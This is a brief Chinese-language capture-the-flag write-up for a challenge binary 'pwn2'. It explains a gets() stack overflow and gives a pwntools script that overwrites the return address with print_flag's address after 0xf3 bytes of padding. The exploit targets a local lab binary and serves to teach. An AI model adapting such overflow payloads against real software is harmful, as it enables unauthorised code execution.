思路
-
看函数列表有print_flag函数,但阅读可知该函数没有被调用
-
从主函数开始看,到echo函数,看到gets,我们便可以知道了在gets溢出。
-已经有构造好的print_flag,因此我们只需要将gets函数的ret覆盖,使其指向print_flag的函数的地址。计算可以知道我们需要覆盖0xf3大小的空间,且print_flag函数地址为0x0804854b
代码
from pwn import*
context.log_level='debug'
io = process('./pwn2')
payload='\x90'*0xf3
payload += p32(0x0804854B)
io.recvuntil('I bet I can repeat anything you tell me!\n')
io.sendline(payload)
io.interactive()